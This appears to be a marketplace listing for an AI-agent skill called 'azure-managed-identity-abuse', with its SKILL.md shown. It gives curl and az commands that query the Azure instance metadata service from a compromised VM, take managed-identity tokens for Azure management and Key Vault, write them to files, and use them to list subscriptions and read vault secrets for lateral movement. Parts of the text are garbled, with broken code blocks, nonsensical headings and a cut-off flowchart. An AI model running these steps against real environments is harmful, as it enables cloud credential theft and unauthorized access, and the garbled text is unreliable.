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azure-managed-identity-abuse

Abuse Azure Managed Identities from compromised Azure Virtual Machines (VMs), Functions, or App Services to seamlessly request valid, highly-privileged Azure AD access tokens and laterally move throughout the cloud environment without requiring explicit credentials.

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含まれるファイル(3)

  • SKILL.md3.9 KB
  • evals/evals.json542 B
  • scripts/process.py7.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Azure Managed Identity Abuse

When to Use

  • When To When Workflow

Phase 1: Validating the Environment

# Concept: 1. curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# 2. ```

### Phase 2: Requesting Azure AD Tokens

```bash
# Concept: curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true > token.json

# curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true > vault_token.json

# ```

### Phase 3: Abusing the Associated Privileges

```bash
# 1. curl -H "Authorization: Bearer <TOKEN>" https://management.azure.com/subscriptions?api-version=2020-01-01

# 2. CONNECT az CLI az login --identity
az keyvault secret show --name MySecret --vault-name TargetVault

Decision Point 🔀

flowchart TD
    A[Compromise ] --> B[Test ]
    B --> C{Does }
    C -->|Yes| D[Request ]
    C -->|No| E[Check D --> F[Pivot ]

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Output Format

Azure Managed Identity Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

🔵 Blue Team

  • Deploy robust WAF rules to detect anomalies.
  • Monitor logs for unusual access patterns.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

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